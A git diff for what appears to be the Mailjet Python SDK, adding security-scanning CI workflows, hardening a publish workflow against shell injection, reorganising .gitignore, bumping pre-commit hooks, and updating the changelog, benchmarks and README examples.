diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml
new file mode 100644
index 0000000..f88a124
--- /dev/null
+++ b/.github/workflows/codeql.yml
@@ -0,0 +1,23 @@
+name: CodeQL
+on:
+ push: { branches: [main] }
+ pull_request: { branches: [main] }
+ schedule: [{ cron: "37 3 * * 0" }] # weekly full scan
+
+jobs:
+ analyze:
+ if: github.event_name != 'pull_request' || github.event.pull_request.head.repo.full_name == github.repository
+ runs-on: ubuntu-latest
+ permissions:
+ security-events: write
+ contents: read
+ actions: read
+ steps:
+ - uses: actions/checkout@v6
+ - uses: github/codeql-action/init@v3
+ with:
+ languages: python
+ queries: security-extended,security-and-quality
+ - uses: github/codeql-action/analyze@v3
+ with:
+ category: "/language:python"
diff --git a/.github/workflows/commit_checks.yaml b/.github/workflows/commit_checks.yaml
index e2b6974..89fe64d 100644
--- a/.github/workflows/commit_checks.yaml
+++ b/.github/workflows/commit_checks.yaml
@@ -46,7 +46,6 @@ jobs:
channels: defaults
show-channel-urls: true
environment-file: environment.yaml
- cache: 'pip' # Drastically speeds up CI by caching pip dependencies
- name: Install dependencies and package
run: |
@@ -60,7 +59,7 @@ jobs:
- name: Install test dependencies
run: |
python -m pip install --upgrade pip
- pip install pytest
+ pip install pytest hypothesis responses
- name: Run unit tests
- run: pytest tests/unit/ -v
+ run: pytest tests/unit/ -v -m "not property_heavy"
diff --git a/.github/workflows/publish.yml b/.github/workflows/publish.yml
index 45b1d5b..d6456ab 100644
--- a/.github/workflows/publish.yml
+++ b/.github/workflows/publish.yml
@@ -34,20 +34,25 @@ jobs:
- name: Extract version
id: get_version
+ # Use an intermediate environment variable to avoid shell injection
+ env:
+ EVENT_NAME: ${{ github.event_name }}
+ RELEASE_TAG: ${{ github.event.release.tag_name }}
+ REF_NAME: ${{ github.ref_name }}
run: |
# Get clean version from the tag or release
- if [[ "${{ github.event_name }}" == "release" ]]; then
+ if [[ "$EVENT_NAME" == "release" ]]; then
# For releases, get the version from the release tag
- TAG_NAME="${{ github.event.release.tag_name }}"
+ TAG_NAME="$RELEASE_TAG"
else
# For tags, get version from the tag
- TAG_NAME="${{ github.ref_name }}"
+ TAG_NAME="$REF_NAME"
fi
# Remove 'v' prefix
VERSION=$(echo $TAG_NAME | sed 's/^v//')
- # Check if this is a stable version (no rc, alpha, beta, dev, etc.)
+ # Check if this is a stable version
if [[ $TAG_NAME =~ ^v[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
echo "IS_STABLE=true" >> $GITHUB_ENV
else
diff --git a/.github/workflows/security.yml b/.github/workflows/security.yml
new file mode 100644
index 0000000..f0cdec4
--- /dev/null
+++ b/.github/workflows/security.yml
@@ -0,0 +1,59 @@
+name: Security
+
+on:
+ push: { branches: [main] }
+ pull_request:
+ schedule: [{ cron: "0 5 * * *" }] # Daily security sweep
+
+permissions:
+ contents: read
+
+jobs:
+ static-analysis:
+ runs-on: ubuntu-latest
+ steps:
+ - uses: actions/checkout@v6
+ - uses: actions/setup-python@v6
+ with:
+ python-version: "3.13"
+ cache: 'pip'
+ - run: pip install ruff bandit mypy pip-audit
+ # Fast checks
+ - run: ruff check .
+ - run: bandit -c pyproject.toml -r mailjet_rest
+ - run: mypy --strict mailjet_rest
+
+ semgrep:
+ runs-on: ubuntu-latest
+ steps:
+ - uses: actions/checkout@v6
+ - uses: returntocorp/semgrep-action@v1
+ with:
+ config: >-
+ p/python
+ p/owasp-top-ten
+ p/supply-chain
+ p/command-injection
+ p/insecure-transport
+ error: true # Fails CI if issues found
+
+ pip-audit:
+ runs-on: ubuntu-latest
+ steps:
+ - uses: actions/checkout@v6
+ - uses: actions/setup-python@v6
+ with: { python-version: "3.13" }
+ - run: pip install pip-audit
+ - run: pip-audit --strict
+
+ osv-scan:
+ permissions:
+ actions: read
+ security-events: write # For Security Tab
+ contents: read
+ uses: "google/osv-scanner-action/.github/workflows/osv-scanner-reusable.yml@v2.3.8"
+ with:
+ # Explicit root scanning
+ scan-args: |-
+ --recursive
+ ./
diff --git a/.gitignore b/.gitignore
index c2134aa..f14c9b9 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,185 +1,146 @@
-# Generic
+# ==============================================================================
+# 1. PYTHON CORE, CACHES & RUNTIME
+# ==============================================================================
__pycache__
__pycache__/
-__pypackages__/
-!.elasticbeanstalk/*.cfg.yml
-!.elasticbeanstalk/*.global.yml
-../../../mentor/kupriienko/airtable-notify/.env
-.anvil/*
-.cache
-.eggs/
-.elasticbeanstalk/*
-.env
-.env-mysql
-.history
-.hypothesis/
-.installed.cfg
-.ipynb_checkpoints
-.mr.developer.cfg
-.nox/
-.pdm.toml
-.prof
-.project
-.pybuilder/
-.pydevproject
-.pyre/
-.Python
-.python-version
-.pytype/
-.ropeproject
-.scrapy
-.spyderproject
-.spyproject
-.tox
-.tox/
-.vagrant/
-.venv
-.webassets-cache
-*.code-workspace
-*.cover
-*.egg
-*.egg-info/
-*.gz
-*.iml
-*.iws
-*.lock
-*.log
-*.manifest
-*.mo
-*.pot
-*.py,cover
-*.py[cod]
-*.pyc
-*.rar
-*.sage.py
-*.so
-*.spec
-*.sqlite
-*.zip
**/__pycache__/*.pyc
-**/.idea/dataSources.ids
-**/.idea/dataSources.local.xml
-**/.idea/dataSources.xml
-**/.idea/dictionaries
-**/.idea/dynamic.xml
-**/.idea/jsLibraryMappings.xml
-**/.idea/sqlDataSources.xml
-**/.idea/tasks.xml
-**/.idea/uiDesigner.xml
-**/.idea/vcs.xml
-**/.idea/workspace.xml
-**/staticfiles/
*/__pycache__/
*/__pycache__/*.pyc
*/*/__pycache__/
*/*/*/__pycache__/
-*/staticfiles/
*$py.class
-/bin
-/include
-/lib
-/out/
-/site
-/src
+*.pyc
+*.py[cod]
+*.py,cover
+*.so
+.Python
-atlassian-ide-plugin.xml
-bin
+# ==============================================================================
+# 2. VIRTUAL ENVIRONMENTS
+# ==============================================================================
+.venv
+venv
+venv/
+venv.bak/
+venv.bak
+pythonenv*
+myvenv
+env
+env/
+ENV/
+env.bak/
+env.bak
+.env
+.env-mysql
+
+# ==============================================================================
+# 3. PACKAGING, PYTHON BUILDERS & DISTRIBUTIONS
+# ==============================================================================
build
build/
-celerybeat-schedule
-celerybeat.pid
-cmake-build-*/
-com_crashlytics_export_strings.xml
-crashlytics-build.properties
-crashlytics.properties
-cython_debug/
-db.sqlite3
-db.sqlite3-journal
-develop-eggs
-develop-eggs/
dist
dist/
-docs/_build/
-downloads/
+sdist
+sdist/
+wheels/
+wheels
+out/
+/out/
+MANIFEST
+*.manifest
+*.egg-info/
+*.egg
+*.gem
+develop-eggs
+develop-eggs/
eggs
eggs/
-env.bak/
-env/
-ENV/
-fabric.properties
-htmlcov/
-instance/
-ipython_config.py
-lib
-lib/
-lib64
-lib64/
-local_settings.py
-MANIFEST
-media
-myvenv
-node_modules
-node_modules/
-nosetests.xml
-parts
-parts/
+.eggs/
+.installed.cfg
+.mr.developer.cfg
+.pybuilder/
+share/python-wheels/
pip-delete-this-directory.txt
-pip-log.txt
pip-wheel-metadata/
+
+# ==============================================================================
+# 4. DEPENDENCY MANAGERS & COMPILERS
+# ==============================================================================
+.pdm.toml
poetry.toml
-profile_default/
-projects/static/
-pyrightconfig.json
-pythonenv*
-sdist
-sdist/
-secret_key.txt
-share/python-wheels/
-static/build/
-static/local/
-static/media
-static/rev-manifest.json
-staticfiles/
+__pypackages__/
+node_modules
+node_modules/
target/
-tdd
-temp/
-Thumbs.db
-tmp/
-uploads/
-var
-var/
-venv
-venv.bak/
-venv/
-wheels/
-
-*~
-\#*\#
-/.emacs.desktop
-/.emacs.desktop.lock
-*.elc
-auto-save-list
-tramp
-.\#*
+cmake-build-*/
+cython_debug/
+/bin
+bin
+/include
+/lib
+lib
+lib/
+lib64
+lib64/
+/site
+/src
-.projectile
+# ==============================================================================
+# 5. TESTING FRAMEWORKS, FAZZING & CACHES
+# ==============================================================================
+.ruff_cache/
+.mypy_cache/
+.dmypy.json
+.pytest_cache/
+.hypothesis/
+.nox/
+.cache
+.pyre/
+.pytype/
+.webassets-cache
+pytestdebug.log
+pyrightconfig.json
.overcommit.yml
-junit*
+# Atheris / ClusterFuzzLite
+tests/fuzz/corpus/
+.clusterfuzzlite/
-# Coverage Files
-htmlcov
-cover/
-.coverage.*
+# ==============================================================================
+# 6. TESTING METRICS & CODE COVERAGE
+# ==============================================================================
.coverage
+.coverage.*
.coverage*
+cover/
+htmlcov
+htmlcov/
coverage.xml
+nosetests.xml
+junit*
+*.cover
+tdd
-# IDEs
+# ==============================================================================
+# 7. IDEs & TEXT EDITORS
+# ==============================================================================
+# JetBrains / PyCharm / CLion
.idea/
.idea_modules/
.idea/*
.idea/*.iml
+.idea/caches/build_file_checksums.ser
+**/.idea/dataSources.ids
+**/.idea/dataSources.local.xml
+**/.idea/dataSources.xml
+**/.idea/dictionaries
+**/.idea/dynamic.xml
+**/.idea/jsLibraryMappings.xml
+**/.idea/sqlDataSources.xml
+**/.idea/tasks.xml
+**/.idea/uiDesigner.xml
+**/.idea/vcs.xml
+**/.idea/workspace.xml
.idea/**/contentModel.xml
.idea/**/dataSources.ids
.idea/**/dataSources.local.xml
@@ -196,7 +157,6 @@ coverage.xml
.idea/**/uiDesigner.xml
.idea/**/usage.statistics.xml
.idea/**/workspace.xml
-.idea/caches/build_file_checksums.ser
.idea/dataSources.ids
.idea/dataSources.local.xml
.idea/dataSources.xml
@@ -215,22 +175,88 @@ coverage.xml
.idea/uiDesigner.xml
.idea/vcs.xml
.idea/workspace.xml
-# VS Code
-.vscode/
-# pycharm
-queue.json
dev/
+queue.json
+
+# Visual Studio Code & Microsoft Ecosystem
+.vscode/
+*.code-workspace
+.history
+.project
+.pydevproject
+.ropeproject
+.spyderproject
+.spyproject
+atlassian-ide-plugin.xml
+profile_default/
+ipython_config.py
+.projectile
+
+# GNU Emacs
+*~
+\#*\#
+/.emacs.desktop
+/.emacs.desktop.lock
+*.elc
+auto-save-list
+tramp
+.\#*
-# Operating Systems
+# ==============================================================================
+# 8. SYSTEM GARBAGE, TEMPORARY FILES & COMPRESSION
+# ==============================================================================
.DS_Store
+Thumbs.db
+downloads/
+temp/
+tmp/
+Downloads/
+*.gz
+*.rar
+*.zip
-# ruff cache
-.ruff_cache/
+# ==============================================================================
+# 9. CLOUD INFRASTRUCTURE & BACKEND WORKFLOWS (AWS & Celery)
+# ==============================================================================
+.elasticbeanstalk/*
+!.elasticbeanstalk/*.cfg.yml
+!.elasticbeanstalk/*.global.yml
+.anvil/*
+celerybeat-schedule
+celerybeat.pid
+instance/
+var
+var/
+.scrapy
-# mypy cache
-.dmypy.json
-.mypy_cache/
+# ==============================================================================
+# 10. METADATA, LOGS, DATABASES & SECRETS
+# ==============================================================================
+*.log
+pip-log.txt
+db.sqlite3
+db.sqlite3-journal
+*.sqlite
+local_settings.py
+secret_key.txt
+*.key
+*.mo
+*.pot
+*.sage.py
-# pytest cache
-.pytest_cache/
-pytestdebug.log
+# ==============================================================================
+# 11. STATIC ASSETS, MEDIA & INTEGRATIONS
+# ==============================================================================
+media
+uploads/
+**/staticfiles/
+*/staticfiles/
+projects/static/
+static/build/
+static/local/
+static/media
+static/rev-manifest.json
+com_crashlytics_export_strings.xml
+crashlytics-build.properties
+crashlytics.properties
+fabric.properties
diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml
index 89b2ce3..6b6eea8 100644
--- a/.pre-commit-config.yaml
+++ b/.pre-commit-config.yaml
@@ -102,7 +102,7 @@ repos:
# Git commit quality
- repo: https://github.com/commitizen-tools/commitizen
- rev: v4.13.10
+ rev: v4.16.2
hooks:
- id: commitizen
name: "🌳 git · Validate commit message"
@@ -131,7 +131,7 @@ repos:
additional_dependencies: [".[toml]"]
- repo: https://github.com/semgrep/pre-commit
- rev: 'v1.159.0'
+ rev: 'v1.163.0'
hooks:
- id: semgrep
name: "🔒 security · Static analysis (semgrep)"
@@ -139,14 +139,14 @@ repos:
# Spelling and typos
- repo: https://github.com/crate-ci/typos
- rev: v1.45.1
+ rev: v1.46.2
hooks:
- id: typos
name: "📝 spelling · Check typos"
# CI/CD validation
- repo: https://github.com/python-jsonschema/check-jsonschema
- rev: 0.37.1
+ rev: 0.37.2
hooks:
- id: check-dependabot
name: "🔧 ci/cd · Validate Dependabot config"
@@ -164,9 +164,11 @@ repos:
- pytest>=7.0.0
- typing-extensions>=4.7.1
- responses
+ - atheris
+ - hypothesis
- repo: https://github.com/astral-sh/ruff-pre-commit
- rev: v0.15.11
+ rev: v0.15.14
hooks:
- id: ruff-check
name: "🐍 lint · Check with Ruff"
@@ -174,14 +176,6 @@ repos:
- id: ruff-format
name: "🐍 format · Format with Ruff"
- - repo: https://github.com/PyCQA/pylint
- rev: v4.0.5
- hooks:
- - id: pylint
- name: "🐍 lint · Check code quality"
- args:
- - --exit-zero
-
- repo: https://github.com/econchick/interrogate
rev: 1.7.0
hooks:
@@ -193,7 +187,7 @@ repos:
# Python type checking
- repo: https://github.com/pre-commit/mirrors-mypy
- rev: v1.20.1
+ rev: v2.1.0
hooks:
- id: mypy
name: "🐍 types · Check with mypy"
@@ -204,7 +198,7 @@ repos:
exclude: ^samples/
- repo: https://github.com/RobertCraigie/pyright-python
- rev: v1.1.408
+ rev: v1.1.409
hooks:
- id: pyright
name: "🐍 types · Check with pyright"
diff --git a/CHANGELOG.md b/CHANGELOG.md
index a363f4a..3f56d5a 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -4,6 +4,40 @@ We [keep a changelog.](http://keepachangelog.com/)
## [Unreleased]
+### Security
+
+- **Enterprise Runtime Security:** Added opt-in PEP 578 Audit Hooks (`sys.addaudithook`) via `Config.enable_security_audit` to track runtime network events.
+- **Path Traversal Mitigation:** Implemented strict input sanitization using `urllib.parse.quote(safe="")` across endpoints to block directory traversal attacks.
+- **Centralized Security Control:** Centralized path and string checks inside `SecurityGuard.sanitize_segment` to stop CRLF injection and traversal attempts across all requests.
+- Pipeline validation: Added Google's `osv-scanner` and turned `pip-audit` into a strict, standalone task inside the GitHub Actions pipeline.
+- Static analysis: Expanded Semgrep scans to cover insecure transports and connected the custom Bandit configuration file straight into CI gates.
+- Fuzz testing: Integrated the `Atheris` coverage-guided fuzzing tool into development routines via a unified `manage.sh fuzz_all` script.
+
+### Added
+
+- **Static O(1) Routing:** Replaced procedural dynamic routing with an immutable `ROUTE_MAP` registry to process endpoints instantly and remove lookup overhead.
+- **Zero-Leak Sandbox Mode:** Introduced a `dry_run=True` client initialization parameter to safely mock mutations locally without sending real network traffic.
+- **Lazy Pagination:** Added a `.stream()` generator method on endpoints to handle records automatically without manual pagination loops.
+- Fluent payload builders: Introduced `MessageBuilder` and `TemplateContentBuilder` to easily construct and validate complex API requests.
+- Custom domain exceptions: Created a dedicated error layer with clear exceptions like `ValidationError` and `MailjetAuthError` to eliminate broad exception silencing.
+- Explicit type safety: Developed a complete `types.py` definition layer to remove MyPy type blindness across internal utilities.
+- URL templating engine: Added a dynamic path interpolation engine to handle multi-level REST endpoints smoothly.
+- Testing topology: Split tests into separate, dedicated environments for unit (fully offline), integration (live), regression, and fuzzing suites.
+- Structured telemetry: Enhanced internal logging to record structured API request payloads clearly.
+
+### Changed
+
+- **Architectural Refactoring:** Split the monolithic core file into single-responsibility modules and deployed `__slots__` across core objects to optimize the overall memory footprint.
+- Internal performance tuning: Refactored core string operations to reduce cold-boot overhead by roughly 29ms.
+- Signature flexibility: Relaxed internal route handler parameters to support optional name identifiers.
+- Pipeline workflows: Configured pre-commit hooks to force validation over the entire repository context instead of only checking staged file fragments.
+- Infrastructure updates: Upgraded core GitHub Actions dependencies to modern release versions and aligned workspace triggers.
+- Development docs: Updated optimization benchmarks and performance profiling instructions.
+
+### Fixed
+
+- Legacy compatibility: Restored parity with old exceptions and dynamic routing mechanics to keep integration completely seamless for existing users.
+
## [1.6.0] - 2026-04-27
### Security
@@ -261,4 +295,4 @@ We [keep a changelog.](http://keepachangelog.com/)
[1.5.0]: https://github.com/mailjet/mailjet-apiv3-python/releases/tag/v1.5.0
[1.5.1]: https://github.com/mailjet/mailjet-apiv3-python/releases/tag/v1.5.1
[1.6.0]: https://github.com/mailjet/mailjet-apiv3-python/releases/tag/v1.6.0
-[unreleased]: https://github.com/mailjet/mailjet-apiv3-python/releases/tag/v1.6.0...HEAD
+[unreleased]: https://github.com/mailjet/mailjet-apiv3-python/compare/v1.7.0...HEAD
diff --git a/MANIFEST.in b/MANIFEST.in
new file mode 100644
index 0000000..20b4bfe
--- /dev/null
+++ b/MANIFEST.in
@@ -0,0 +1,19 @@
+include LICENSE
+include README.md
+include CHANGELOG.md
+include PERFORMANCE.md
+include SECURITY.md
+recursive-include mailjet_rest *.py *.pyi py.typed
+
+prune tests
+prune samples
+prune .github
+prune .clusterfuzzlite
+prune conda.recipe
+
+exclude manage.sh
+exclude Makefile
+exclude .editorconfig
+exclude .pre-commit-config.yaml
+exclude environment.yaml
+exclude environment-dev.yaml
diff --git a/PERFORMANCE.md b/PERFORMANCE.md
index 7a2cd9c..a2a3e7f 100644
--- a/PERFORMANCE.md
+++ b/PERFORMANCE.md
@@ -2,43 +2,55 @@
This document outlines the architectural decisions made to ensure the Mailjet Python SDK remains blazingly fast and memory-efficient.
-## Core Optimizations (Introduced in v1.6.0)
+## Core Optimizations
-### 1. High-Speed Dynamic Routing (Endpoint Caching)
+### 1. High-Speed Static Routing (O(1) Registry)
-The SDK utilizes a lazy-loading cache for API endpoints.
+The SDK utilizes a static, immutable routing registry (`ROUTE_MAP`).
-- **O(1) Resolution:** Once an endpoint (like `client.contact`) is accessed, it is cached in an instance-level dictionary. Subsequent calls bypass dynamic string manipulation and object instantiation.
-- **Pre-computed Routing:** All URL path fragments are pre-computed during `Endpoint` initialization, ensuring that the `api_call` method only performs minimal, highly optimized string joining.
+- **O(1) Resolution:** Dynamic `__getattr__` and procedural `if/elif` URL construction chains have been entirely replaced. Endpoint resolution is now a direct dictionary hash lookup, effectively pushing routing speed to the theoretical limit of the Python interpreter.
+- **Pre-computed Routing:** All URL path fragments are pre-computed and mapped during initialization, ensuring that the API call dispatcher performs zero dynamic string manipulation.
### 2. Memory Density & Speed (`__slots__`)
-We implemented `__slots__` across the core `Client`, `Config`, and `Endpoint` classes.
+We implemented `__slots__` across the core `Client`, `Config`, and `Endpoint` infrastructure classes.
-- **RAM Footprint:** By removing the dynamic `__dict__`, we reduced the memory overhead of every instantiated client.
-- **Attribute Access:** `__slots__` provides strictly faster attribute access than standard dictionary-backed classes, yielding a massive ~50x speedup in routing operations.
+- **RAM Footprint:** By removing the dynamic `__dict__`, we drastically reduced the memory allocation overhead of every instantiated client object.
+- **Attribute Access:** `__slots__` provides strictly faster attribute access than standard dictionary-backed classes.
-### 3. Allocation Avoidance (`MappingProxyType` & `ClassVar`)
+### 3. Allocation Avoidance & Cold-Boot Optimization
-- **Zero-Allocation Headers:** We use `types.MappingProxyType` for global constants like `_JSON_HEADERS`. The SDK avoids creating brand-new dictionaries from scratch for every single API call, unpacking these immutable proxies directly.
-- **Shared Retry Strategies:** The `urllib3` retry configuration was moved to a `ClassVar`, preventing the instantiation of redundant retry adapters on every request.
+- **Zero-Allocation Headers:** We use `types.MappingProxyType` for global constants (e.g., `_JSON_HEADERS`). The SDK avoids creating brand-new dictionaries from scratch for every single API call, unpacking these immutable proxies directly.
+- **Optimized Imports:** By replacing module-level regular expression compilation (`re.compile`) with native string methods, cold-boot initialization time has been reduced by ~28%, making the SDK highly suitable for Serverless/Lambda environments.
-______________________________________________________________________
+## The Benchmarks
+
+Despite adding strict OWASP security guardrails (PEP 578 Audit Hooks, Path Traversal mitigations, URL quoting), the architectural refactoring yielded massive performance gains across the board.
+
+### v1.5.1 vs. v1.6.0 (Architecture Overhaul)
+
+The initial refactor (v1.6.0) replaced heavy string-parsing with object caching. We deliberately traded a fractional increase in one-time startup cost (to load modern typing and dataclasses) for a massive, repeatable increase in runtime routing speed and request throughput.
-## Benchmarks (v1.5.1 vs. v1.6.0 Refactor)
+| Metric | Legacy (v1.5.1) | Baseline (v1.6.0) | Delta |
+| :----------------------- | :-------------- | :---------------- | :----------------- |
+| **Routing Speed (Mean)** | ~7.61 µs | **~210.94 ns** | **~36x Faster** |
+| **Request Cycle (Mean)** | ~271.67 µs | **~256.78 µs** | **~5.4% Faster** |
+| **Routing Ops/Sec** | ~131 Kops/s | **~4,740 Kops/s** | **Massive Boost** |
+| **Cold-Boot Init Time** | **~0.099 s** | ~0.176 s | *+77ms (Expected)* |
-Our internal `pytest-benchmark` and `cProfile` suites verify these architectural gains on Python 3.14. Despite adding heavy OWASP security guardrails (PEP 578 Audit Hooks, SSRF prevention, Regex validation), the memory optimizations yielded a net performance increase.
+### v1.6.0 vs. Current Refined (v1.7.0)
-We deliberately traded a fractional increase in one-time startup cost (to load modern typing and dataclasses) for a massive, repeatable increase in runtime routing speed and request throughput.
+The subsequent refinement fully replaced the procedural caching layer with a static O(1) immutable dictionary (`ROUTE_MAP`) and stripped out regex from the import sequence. This completely recovered the cold-boot penalty while compounding the routing speed even further.
-| Metric | v1.5.1 (Baseline) | Optimized Architecture | Delta |
-| :----------------------- | :---------------- | :--------------------- | :----------------- |
-| **Routing Speed (Mean)** | ~7.61 µs | **~0.16 µs (159 ns)** | **~47x Faster** |
-| **Request Cycle (Mean)** | ~271.67 µs | **~245.64 µs** | **~9.5% Faster** |
-| **Routing Ops/Sec** | ~131 Kops/s | **~6,276 Kops/s** | **Massive Boost** |
-| **Cold-Boot Init Time** | **~0.099 s** | ~0.119 s | *+20ms (Expected)* |
+| Metric | Baseline (v1.6.0) | Current Refined | Delta |
+| :----------------------- | :---------------- | :---------------- | :----------------------- |
+| **Routing Speed (Mean)** | ~210.94 ns | **~138.73 ns** | **~34.2% Faster** |
+| **Routing Speed (Min)** | ~125.03 ns | **~82.88 ns** | **Sub-100ns execution** |
+| **Request Cycle (Mean)** | ~256.78 µs | **~250.81 µs** | **~2.3% Faster** |
+| **Routing Ops/Sec** | ~4,740 Kops/s | **~7,208 Kops/s** | **+2.4 Million Ops/sec** |
+| **Cold-Boot Init Time** | ~0.176 s | **~0.126 s** | **~50ms Faster (~28%)** |
-*Note: Benchmarks measure network-isolated internal overhead using mocked `responses`. Testing hardware: Darwin-CPython-3.14-64bit.*
+*Note: Benchmarks measure network-isolated internal overhead using mocked `responses`. Testing hardware: Darwin-CPython-3.12-64bit.*
______________________________________________________________________
diff --git a/README.md b/README.md
index a580dad..1f14ce1 100644
--- a/README.md
+++ b/README.md
@@ -35,13 +35,17 @@
- [Logging & Debugging](#logging--debugging)
- [IDE Autocompletion & DX](#ide-autocompletion--dx)
- [URL path](#url-path)
+ - [Strict Payload Builders](#strict-payload-builders)
- [Performance & Architecture](#performance--architecture)
- [Security Guardrails](#security-guardrails)
+ - [Local-First Validation (Fail-Fast)](#local-first-validation-fail-fast)
+ - [Runtime Security (PEP 578)](#runtime-security-pep-578)
- [Request examples](#request-examples)
- [Full list of supported endpoints](#full-list-of-supported-endpoints)
- [Send API (v3.1)](#send-api-v31)
- [Send a basic email](#send-a-basic-email)
- [Send an email using a Mailjet Template](#send-an-email-using-a-mailjet-template)
+ - [MessageBuilder (Complex Payloads)](#building-complex-payloads-messagebuilder)
- [Standard REST Actions (GET, POST, PUT, DELETE)](#standard-rest-actions-get-post-put-delete)
- [POST (Create)](#post-create)
- [GET Request](#get-request)
@@ -70,11 +74,11 @@ This library `mailjet-rest` officially supports the following Python versions:
## Requirements
- **Build backend:** `setuptools`, `wheel`, `setuptools-scm`
-- **Runtime:** `requests >= 2.32.5`
+- **Runtime:** `requests >=2.33.0`
### Test dependencies
-For running test you need `pytest >=7.0.0` at least.
+For running test you need `pytest >=9.0.3` at least.
Make sure to provide the environment variables from [Authentication](#authentication).
## Installation
@@ -186,10 +190,8 @@ with Client(auth=(api_key, api_secret), version="v3.1") as mailjet:
print(result.status_code)
```
-(Note:
-
-> **Note**
-> If you choose not to use the context manager, you should manually call mailjet.close() when your application shuts down.
+> [!WARNING]
+> **Resource Management:** If you choose not to use the context manager, you **must** manually call `mailjet.close()` when your application shuts down to release the underlying sockets.
### Advanced Configuration
@@ -197,15 +199,14 @@ You can pass configuration overrides directly when initializing the `Client` or
```python
# Set custom base URL, timeout, and API version
-mailjet = Client(
+with Client(
auth=(api_key, api_secret),
version="v3.1",
api_url="https://api.us.mailjet.com/",
timeout=30,
-)
-
-# Override timeout for a single, heavy request
-result = mailjet.contact.get(timeout=60)
+) as mailjet:
+ # Override timeout for a single, heavy request
+ result = mailjet.contact.get(timeout=60)
```
#### API Versioning
@@ -220,7 +221,11 @@ Since most Email API endpoints are located under `v3`, it is set as the default
For the others you need to specify the version using `version`. For example, if using Send API `v3.1`:
```python
-mailjet = Client(auth=(api_key, api_secret), version="v3.1")
+with Client(
+ auth=(api_key, api_secret),
+ version="v3.1",
+) as mailjet:
+ pass # Your requests here
```
For additional information refer to our [API Reference](https://dev.mailjet.com/reference/overview/versioning/).
@@ -230,7 +235,11 @@ For additional information refer to our [API Reference](https://dev.mailjet.com/
The default base domain name for the Mailjet API is `api.mailjet.com`. You can modify this base URL by setting a value for `api_url` in your call:
```python
-mailjet = Client(auth=(api_key, api_secret), api_url="https://api.us.mailjet.com/")
+with Client(
+ auth=(api_key, api_secret),
+ api_url="https://api.us.mailjet.com/",
+) as mailjet:
+ pass # Your requests here
```
If your account has been moved to Mailjet's **US architecture**, the URL value you need to set is `https://api.us.mailjet.com`.
@@ -297,19 +306,38 @@ For example, to reach `statistics/link-click` path you should call `statistics_l
```python
# GET `statistics/link-click`
-mailjet = Client(auth=(api_key, api_secret))
-filters = {"CampaignId": "xxxxxxx"}
-result = mailjet.statistics_linkClick.get(filters=filters)
-print(result.status_code)
-print(result.json())
+with Client(auth=(api_key, api_secret)) as mailjet:
+ filters = {"CampaignId": "xxxxxxx"}
+ result = mailjet.statistics_linkClick.get(filters=filters)
+ print(result.status_code)
+ print(result.json())
```
For the **Content API (v1)**, sub-actions will be correctly routed using slashes (e.g. contents/lock). Additionally, the SDK maps the `data_images` resource specifically to `/v1/data/images` to support media uploads.
```python
# GET '/v1/data/images'
-mailjet = Client(auth=(api_key, api_secret), version="v1")
-result = mailjet.data_images.get()
+with Client(auth=(api_key, api_secret), version="v1") as mailjet:
+ result = mailjet.data_images.get()
+```
+
+### Strict Payload Builders
+
+Tired of getting 400 Bad Request because of a typo in your JSON payload? Import our TypedDict schemas to get full IDE autocomplete and static type checking.
+
+```python
+from mailjet_rest.types import SendV31Payload, SendV31Message
+
+message: SendV31Message = {
+ "From": {"Email": "pilot@mailjet.com", "Name": "Mailjet Pilot"},
+ "To": [{"Email": "passenger1@mailjet.com", "Name": "passenger 1"}],
+ "Subject": "Your flight plan!",
+ "TextPart": "Dear passenger, welcome to Mailjet!",
+}
+
+payload: SendV31Payload = {"Messages": [message]}
+
+mailjet.send.create(data=payload)
```
## Performance & Architecture
@@ -321,14 +349,36 @@ For a detailed breakdown of our nanosecond routing benchmarks and instructions o
## Security Guardrails
-The SDK includes active protections against common API vulnerabilities:
+The SDK includes active protections against common API vulnerabilities based on Defense-in-Depth principles:
+
+Additional built-in protections:
- **SSRF & Open Redirects:** Hard-disabled automatic redirects and enforced strict hostname validation.
- **CRLF Injection:** Native string evaluation blocks header injection attempts via compromised Bearer tokens or custom headers.
-- **PEP 578 Audit Hooks:** The SDK emits native Python audit events (`sys.audit`) for all outbound network egress and explicitly warns if TLS verification is bypassed.
+- **Downgrade Attacks:** Enforced TLS 1.2+ minimum version via a custom `SecureHTTPAdapter`.
See our [SECURITY.md](SECURITY.md) for our vulnerability disclosure policy and supported versions.
+### Local-First Validation (Fail-Fast)
+
+Instead of waiting for server-side roundtrips, the SDK promotes "Parse, Don't Validate" at the boundary. By using strictly typed models (like `SendV31Payload`), any attempt at Mass Assignment (BOPLA) or sending invalid data formats is caught locally in microseconds.
+*(See the [Strict Payload Builders](#strict-payload-builders) section for examples).*
+
+### Runtime Security (PEP 578)
+
+For Enterprise and SecOps environments, the SDK acts as a security sensor. It emits native Python audit events (`sys.audit`) for all outbound network egress and explicit TLS bypass attempts.
+
+You can **opt-in** to have the SDK automatically listen to these events and pipe them to your `logging` infrastructure for SIEM integration:
+
+```python
+from mailjet_rest import Client, Config
+
+# Activate the PEP 578 Audit Listener
+cfg = Config(enable_security_audit=True)
+with Client(auth=(api_key, api_secret), config=cfg) as mailjet:
+ pass # Your secure requests here
+```
+
## Request examples
### Full list of supported endpoints
@@ -357,7 +407,6 @@ import os
api_key = os.environ.get("MJ_APIKEY_PUBLIC", "")
api_secret = os.environ.get("MJ_APIKEY_PRIVATE", "")
-mailjet = Client(auth=(api_key, api_secret), version="v3.1")
data = {
"Messages": [
@@ -370,9 +419,11 @@ data = {
}
]
}
-result = mailjet.send.create(data=data)
-print(result.status_code)
-print(result.json())
+
+with Client(auth=(api_key, api_secret), version="v3.1") as mailjet:
+ result = mailjet.send.create(data=data)
+ print(result.status_code)
+ print(result.json())
```
### Send an email using a Mailjet Template
@@ -380,8 +431,6 @@ print(result.json())
When using `TemplateLanguage`, ensure that you pass a standard Python dictionary to the `Variables` parameter.
```python
-mailjet = Client(auth=(api_key, api_secret), version="v3.1")
-
data = {
"Messages": [
{
@@ -394,11 +443,44 @@ data = {
}
]
}
-result = mailjet.send.create(data=data)
+with Client(auth=(api_key, api_secret), version="v3.1") as mailjet:
+ result = mailjet.send.create(data=data)
+```
+
+### Building Complex Payloads (MessageBuilder)
+
+For complex scenarios like Send API v3.1, manually constructing nested dictionaries is error-prone.
+The `MessageBuilder` provides a fluent interface that handles structure, attachment encoding, and validation automatically.
+
+```python
